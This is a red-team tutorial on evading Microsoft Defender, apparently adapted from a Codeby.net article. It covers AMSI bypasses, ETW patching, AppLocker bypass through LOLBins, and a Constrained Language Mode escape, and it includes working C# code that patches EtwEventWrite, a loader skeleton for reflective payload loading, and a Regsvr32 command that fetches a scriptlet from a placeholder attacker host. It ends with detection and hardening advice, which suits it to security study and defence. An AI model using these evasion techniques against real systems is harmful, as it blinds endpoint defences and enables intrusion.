Executive Summary
Modern Microsoft Defender is not a single antivirus process — it is a stack of independent layers (static engine, kernel-mode filesystem filter, AMSI, ETW, AppLocker) that each have to be neutralised on their own terms. An operator who patches AMSI but ignores ETW will still light up the SIEM; an operator who tunnels through an EDR’s memory-integrity check by using hardware breakpoints can still get burned by Sysmon Event ID 7 if they pull in a non-standard DLL. Defense evasion is a chain, not a trick.
This guide walks the four user-mode walls a Windows red team payload has to climb — AMSI, ETW, AppLocker, and the static signature engine — and shows the current state of the art for each: three generations of AMSI bypass (classic AmsiScanBuffer patching, hardware breakpoints via debug registers, and OffSec’s May-2024 AMSI Write Raid against the PowerShell P/Invoke thunk), ETW silencing through EtwEventWrite, AppLocker bypass with stock LOLBins (MSBuild, InstallUtil, Regsvr32), and how to stitch them into a working in-memory kill chain. It closes with what blue teams can actually still detect — kernel ETW Threat-Intelligence, memory integrity checks against amsi.dll/ntdll.dll, anomalous DLL loads — and what hardening matters most.
The Defense Architecture: Four Walls to Climb
Before you can break Microsoft Defender, you have to understand what is actually detecting you. The product marketed as “Defender” is really a stack of independent components, and each one operates on a different layer of the Windows architecture. Patch one and the others keep firing.
- The static engine —
MsMpEng.exe, the Microsoft Defender Antivirus service. It does signature matching, hash lookups, and ML classification over PE features, scanning files on disk before they ever execute. Typical triggers: known shellcode prologues such as the Meterpreter stubxfcx48x83xe4xf0, suspicious import combinations likeVirtualAllocEx+WriteProcessMemory+CreateRemoteThread, and YARA-style string patterns. WdFilter.sys— the kernel-mode mini-filter that intercepts file I/O at the filesystem layer. It is the reason “just drop a payload to disk” rarely works any more — the file is scanned at write time.- AMSI — the Antimalware Scan Interface.
amsi.dllis mapped into the address space of every PowerShell,wscript,cscript, and .NET host process, and intercepts content (script bodies, dynamically-built strings,Assembly.Loadbuffers) before the scripting engine executes it. Whatever it sees is forwarded to the local AV provider. - ETW — Event Tracing for Windows. The telemetry bus that carries PowerShell Script Block Logging, .NET runtime events, and kernel-level signals through the ETW Threat-Intelligence provider. ETW is the firehose that feeds modern EDR.
- AppLocker — user-mode application whitelisting that controls which executables, scripts, and DLLs are allowed to run at all.
The key principle: bypassing AMSI does not save you from a static signature hit. Patching ETW does not help if AppLocker refuses to load your binary in the first place. Defense evasion is a chain of techniques, each one neutralising a specific layer in a specific order.
Bypassing AMSI: Three Generations of Techniques
AMSI is the most-attacked Windows defence for a structural reason: it lives in user-mode, inside the address space of the very process it is meant to protect. As CyberArk’s research has long pointed out, the defender runs at the same privilege level as the potentially-malicious code — and the code inside that PowerShell session has full read/write access to its own process memory. That asymmetry is what makes every AMSI bypass possible.
Generation 1: Classic AmsiScanBuffer Patching and Why It Stopped Working
The original recipe is straightforward: resolve AmsiScanBuffer (or AmsiScanString) inside the loaded amsi.dll via GetProcAddress, flip the page to PAGE_EXECUTE_READWRITE with VirtualProtect, and overwrite the first bytes with an instruction sequence that makes the function return S_OK immediately.
Historically, Matt Graeber’s 2016 PoC manipulated the amsiInitFailed field of the AmsiUtils class through .NET reflection. Tal Liberman (CyberArk, 2017) and Rastamouse (2018) moved to native opcode patching: rewriting the first bytes of AmsiScanBuffer itself. In practice, a naive xor eax, eax; ret (31 C0 C3) is not enough — PowerShell inspects the result out-parameter, so the patch also has to write AMSI_RESULT_CLEAN through the pointer before returning.
The structural problem with classic patching is that it modifies the .text section of amsi.dll. Modern EDR products periodically compare in-memory .text pages of critical DLLs against the on-disk image and flag the divergence. That alone is enough to detect the technique on any reasonably-instrumented endpoint.
Generation 2: Hardware Breakpoints — Defender PowerShell Bypass Without Memory Writes
The hardware-breakpoint approach side-steps the .text-integrity problem by never touching code memory at all. Instead it uses the CPU’s debug registers (DR0 through DR3): you set a hardware breakpoint on the address of AmsiScanBuffer, register a Vectored Exception Handler via AddVectoredExceptionHandler, and when AMSI is called the CPU raises a SINGLE_STEP exception. Your handler then forges a clean return — setting the return value register to S_OK, writing AMSI_RESULT_CLEAN through the result pointer, and advancing RIP to the return instruction.
As researchers including 0xdbgman have noted, this is harder to detect than classic patching: nothing in the .text section changes, and standard memory scanning does not look at CPU debug registers. Concretely, via P/Invoke you call SetThreadContext with DR0 pointing at AmsiScanBuffer and DR7 set so that L0=1 (local enable), R/W0=00 (execute), and LEN0=00. The breakpoint is per-thread, which both limits its scope and makes it stealthier — nothing global is being mutated.
Generation 3: AMSI Write Raid — A Writable Entry Without VirtualProtect
In May 2024 OffSec researcher Victor “Vixx” Khoury published AMSI Write Raid, a technique he had reported to Microsoft on 8 April 2024. The insight is structural: inside System.Management.Automation.dll, the core PowerShell assembly, the CLR generates a P/Invoke thunk that managed code uses to call native AmsiScanBuffer. That thunk holds a function pointer to the target — and, because of how NDirectMethodDesc::SetNDirectTarget populates it, the pointer sits in a region that stays writable.
OffSec demonstrated the technique on PowerShell 5.1 and PowerShell 7.4 across current Windows 11 builds. The crucial property: you are not patching the function’s code, not flipping page protections, not calling VirtualProtect at all. You are overwriting data — a function pointer — in memory that is already writable. Every classical heuristic that watches for .text divergence or for VirtualProtect on amsi.dll misses it by design.
The operational catch is finding the thunk on a given build. The path is a chain of three mov instructions before a call rax sequence inside System.Management.Automation.ni.dll; the relative offsets drift between Windows builds and ASLR randomises the base. The original article asks readers how they automated this in the field — a real question worth answering, since manual WinDbg traces do not scale to a fleet.
Disabling AMSI Without Administrator Rights
All three techniques work without administrator privileges. AMSI loads into user-mode process address space, and any code running as the user owning a PowerShell session already has full memory access to that process — there is nothing to escalate to.
A particularly useful variant: spawn powershell.exe as a child process with CREATE_SUSPENDED, attach as a debugger via DebugActiveProcess, catch LOAD_DLL_DEBUG_EVENT as amsi.dll is mapped, and patch the function before AMSI ever initialises. The patch happens during a window in which no detection telemetry can possibly fire against it.
ETW Patching: Silencing Windows Telemetry
Suppose you have already bypassed AMSI and the static engine sees nothing. ETW is still writing telemetry. Script Block Logging, Module Logging, and .NET runtime events all travel through ETW providers, and that is where EDR products get most of their behavioural signal.
ETW has three architectural pieces: providers (instrumented points inside Windows and applications), sessions (kernel-side ring buffers that collect events), and consumers (the agents that read those buffers). The critical provider for an offensive operator is ETW Threat-Intelligence (Microsoft-Windows-Threat-Intelligence) — it runs in kernel-mode and emits events from inside the kernel itself for suspicious operations: VirtualAlloc/Protect, ReadWriteVirtualMemory, SetThreadContext, MapViewOfSection, QueueUserApc, and more. You cannot patch that provider from user-mode — it is the one piece of ETW that survives the techniques in this section.
For user-mode telemetry, however — including PowerShell Script Block Logging — patching EtwEventWrite in ntdll.dll in the current process is enough. The function is the user-mode entry point that scripting hosts call to emit events; overwriting its prologue with an immediate xor eax,eax; ret makes every event call in the process succeed silently with ERROR_SUCCESS and zero events written. The snippet below is the canonical demonstration from the source article, kept verbatim:
// ETW patching - пример для демонстрации концепции
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Перезаписываем первые 3 байта пролога: xor eax,eax; ret (возвращает ERROR_SUCCESS=0)
// Примечание: опкоды 0x31 0xC0 и 0x33 0xC0 - обе формы кодирования xor eax,eax (x86/x64).
// На ARM64 Windows нужны другие опкоды: mov w0, #0; ret (00 00 80 52 C0 03 5F D6).
VirtualProtect(etwAddr, 3, 0x40, out var old);
Marshal.Copy(new byte[] { 0x31, 0xC0, 0xC3 }, 0, etwAddr, 3);
VirtualProtect(etwAddr, 3, old, out _);
Source: original article (Codeby.net). Note that the same memory-integrity check that catches classic amsi.dll patching will also catch this — ntdll.dll’s .text section is one of the first things modern EDR audits. On heavily instrumented endpoints, you either reach for an ETW patch that is harder to compare against disk (e.g., hooking the per-provider EtwProviderEnableCallback table indirectly) or accept that script-block logging will be the one source of telemetry you cannot fully silence and design around it.
AppLocker Bypass with Built-in Windows Tools
AppLocker controls which executables (.exe), scripts (.ps1, .bat, .vbs), installers (.msi), and DLLs are allowed to run. Where it is enforced, an unsigned dropped binary will not execute — which is why the LOLBin angle, abusing trusted Microsoft-signed utilities, dominates the bypass literature.
Lab Environment Requirements
Practical experimentation requires Windows 10/11 Enterprise or Server 2016+ (AppLocker is unavailable on Home/Pro), the AppIDSvc service enabled, and rules configured through Group Policy. Run these techniques in an isolated lab — nothing in this section should be tested against production endpoints you are not specifically authorised to assess.
Reconnaissance and LOLBins for the Bypass
Step one is to read the policy. Rules live under HKLMSOFTWAREPoliciesMicrosoftWindowsSrpV2, and Get-AppLockerPolicy -Effective -Xml dumps the active ruleset. The single most important thing to look for: are DLL rules enabled? By default they are not. Administrators usually leave them off because of the performance overhead of evaluating every DLL load, which means that even on a hardened endpoint rundll32-based execution will frequently succeed where direct .exe execution would fail.
The Microsoft-signed binaries that the LOLBAS project documents are the bread and butter:
- MSBuild.exe at
C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe— the classic Trusted Developer Utilities Proxy Execution: MSBuild technique (MITRE T1127.001). It compiles and executes C# embedded as an inline task inside a.csprojfile. AppLocker policies tend to whitelist it because removing it breaks legitimate developer workflows. - InstallUtil.exe — System Binary Proxy Execution: InstallUtil (MITRE T1218.004). A .NET class marked
[System.ComponentModel.RunInstaller(true)]and inheriting fromSystem.Configuration.Install.Installerhas itsInstall()method invoked on normal execution andUninstall()when called with/U. - Regsvr32.exe — Signed Binary Proxy Execution: Regsvr32 (MITRE T1218.010). Loads remote COM scriptlets straight from a URL:
regsvr32 /s /n /u /i:http://attacker/file.sct scrobj.dll.
A complementary vector is writable directories under C:Windows itself. Running accesschk.exe -uwqs Users C:Windows enumerates locations where a non-privileged user can write — commonly C:WindowsTasks, C:WindowsTemp, and C:Windowstracing. AppLocker path rules that allow execution from %WINDIR% typically still cover those subdirectories, making them useful staging points.
Bypassing Constrained Language Mode via COM Objects
When AppLocker is in enforce mode, PowerShell automatically drops into Constrained Language Mode (CLM), which severely limits access to .NET types and COM objects. You can confirm the mode with $ExecutionContext.SessionState.LanguageMode.
The classic COM bypass works because the WScript.Shell object is reachable even under CLM and exposes Run and Exec, giving you arbitrary command execution. A more advanced variant registers a custom COM server under HKCU: generate a CLSID, write the path to your DLL under HKCUSoftwareClassesCLSID{guid}InprocServer32, and load it through a COM call from constrained PowerShell — the registry write requires no admin rights, and the resulting InprocServer32 entry is honoured by COM activation.
Defense Evasion in Practice: Stitching the Kill Chain
Putting it all together. The scenario: a Windows 11 workstation, Defender enabled, AppLocker in enforce mode, ETW shipping to SIEM. The five-step chain looks like this.
- Delivery via LOLBin. The payload arrives as a
.csproj(MSBuild inline task) or a.sct(Regsvr32 scriptlet). AppLocker does not block either. The payload itself is treated with Obfuscated Files or Information (MITRE T1027) — strings encrypted, shellcode encoded. - ETW patch. The loader’s very first action is to patch
EtwEventWriteinntdll.dll. Three bytes at the prologue (xor eax,eax; retin x86/x64) and process-local telemetry goes quiet. - AMSI bypass. Patch
AmsiScanBuffer, or fall back to a hardware-breakpoint approach against an EDR that watches forVirtualProtectonamsi.dll— or, on a current Windows 11 build with the right PowerShell version, AMSI Write Raid. - In-memory execution. Pull the real payload in reflectively, with no disk writes. Reflective DLL injection, or .NET assembly loading via
Assembly.Load()from a decrypted byte array. - Sleep obfuscation. Between callbacks the beacon re-encrypts itself in memory. Ekko (ROP-based timer-queue encryption), Foliage (APC-based), and Cronos (
NtContinue-based) are the three reference techniques; a memory scanner that wakes up mid-sleep sees encrypted bytes, not shellcode.
Order matters. The sequence “ETW → AMSI → payload” is not a stylistic recommendation; it is a hard requirement. If you load the payload before patching ETW, the very first managed-code event — before any evasion has run — will already be in the SIEM. The skeleton looks like this:
// Порядок операций лоадера - пример для демонстрации
// 1. Патч ETW - ДО любого подозрительного действия
PatchEtw(); // ntdll!EtwEventWrite → xor eax,eax; ret (0x31 0xC0 0xC3, x86/x64)
// 2. Патч AMSI - ДО загрузки .NET payload
PatchAmsi(); // amsi!AmsiScanBuffer → hardware BP
// 3. Расшифровка и рефлективная загрузка
byte[] raw = Decrypt(encryptedBlob, key);
Assembly.Load(raw).EntryPoint.Invoke(null, args);
Source: original article (Codeby.net).
What Blue Team Still Sees — And Where You Get Caught
Bypassing antivirus with built-in Windows tooling is not the same as being invisible. There are three classes of telemetry that survive every technique above.
- Sysmon Event ID 7 (Image Loaded) records every DLL load. A non-standard DLL appearing inside a PowerShell process is one of the cheapest, highest-signal SOC alerts there is — and nothing in the user-mode evasion chain hides it.
- ETW Threat-Intelligence in kernel-mode is unaffected by any user-mode
EtwEventWritepatch. If the EDR subscribes to the kernel-mode TI provider, your cross-process memory operations (WriteProcessMemory,VirtualAllocEx,SetThreadContextwith arbitraryEIP/RIP) are still emitted. - Memory-integrity checks. Higher-tier EDR products periodically diff the in-memory
.textsections of critical DLLs (amsi.dll,ntdll.dll) against the on-disk image. Classic patching gets caught here unambiguously. Hardware breakpoints and AMSI Write Raid evade it — but each has its own tell: debug-register state is visible to a context-introspecting agent, and the writable thunk is observable if anyone bothers to look for it.
Full invisibility is a myth. The operator’s job is not to be invisible — it is to look enough like background noise that an analyst triaging a queue of legitimate-looking events does not stop on you. The choice of techniques in this article is filtered through that lens.
Key Takeaways
- Defender is a stack of independent layers — static engine,
WdFilter.sys, AMSI, ETW, AppLocker — and each one has to be neutralised on its own terms. - AMSI bypass has three generations: classic
AmsiScanBufferpatching (now caught by memory-integrity checks), hardware-breakpoint VEH techniques (no.textwrites), and OffSec’s AMSI Write Raid (overwriting a writable function-pointer thunk inSystem.Management.Automation.dll). - Patching
EtwEventWriteinntdll.dllsilences user-mode ETW for the current process but does nothing to the kernel-mode ETW Threat-Intelligence provider. - AppLocker is most effectively bypassed with LOLBins — MSBuild (T1127.001), InstallUtil (T1218.004), Regsvr32 (T1218.010) — and via writable subdirectories of
%WINDIR%. - PowerShell’s Constrained Language Mode is leaky:
WScript.Shellis reachable, and custom COM servers registered underHKCUbypass admin requirements entirely. - Order in the kill chain is mandatory: ETW patch first, then AMSI, then payload — reverse it and the first telemetry events leak before evasion runs.
- Even a clean evasion chain leaves Sysmon Event ID 7, kernel ETW TI, and memory-integrity divergence as residual signal.
Defensive Recommendations
- Enable AppLocker DLL rules. The default state — rules for
.exeand.ps1but not for DLLs — is exactly whatrundll32-based bypass relies on. Accept the performance cost. - Subscribe to the kernel-mode ETW Threat-Intelligence provider from your EDR.
EtwEventWritepatching inntdll.dlldoes not reach it. Cross-process memory operations stay visible. - Audit
.textsections ofamsi.dllandntdll.dllagainst the on-disk image on a periodic basis. This catches every variant of classic prologue patching, which remains the most common technique in the wild. - Alert on Sysmon Event ID 7 anomalies: unusual DLLs loaded into PowerShell,
wscript,cscript, and any signed LOLBin. The base rate is low enough that an unsigned DLL insidepowershell.exeis nearly always investigation-worthy. - Watch for the LOLBins explicitly.
MSBuild.exe,InstallUtil.exe, andRegsvr32.exerunning with non-developer parents (e.g., spawned bywinword.exe,outlook.exe,explorer.exefrom a user’s profile) is a high-signal pattern; combine it with command-line arguments referencinghttp(s)://URLs. - Turn on PowerShell Script Block Logging and Module Logging and ship them off-host. Even a payload that patches
EtwEventWriteearly often leaks one or two events before evasion runs. - Restrict writable directories under
%WINDIR%.C:WindowsTasks,C:WindowsTemp,C:Windowstracing: tighten ACLs or exclude them from AppLocker path-rule whitelists. - Detect debug-register manipulation. Hardware-breakpoint AMSI bypass writes to
DR0viaSetThreadContextfrom the same thread; a context-introspecting EDR can see non-zero debug registers in production processes, which is itself suspicious.
Conclusion
Defense evasion on modern Windows is engineering, not magic. The techniques above — AMSI patching, hardware breakpoints, AMSI Write Raid, ETW silencing, LOLBin-based AppLocker bypass — are well understood by both red teams and defenders. What separates a working operation from an immediate burn is sequencing, operational awareness of which technique attracts which detection, and the discipline to design a chain that respects the asymmetry: user-mode evasion cannot beat kernel-mode telemetry, and no amount of in-memory cleverness saves you from a Sysmon rule that flags an unexpected DLL load. Pick techniques that match what the target endpoint is actually instrumented to see — and assume blue team is reading the same research you are.
Original text: “Обход Windows Defender и AMSI: практический гайд по defense evasion для Red Team” by Сергей Попов at Codeby.net.

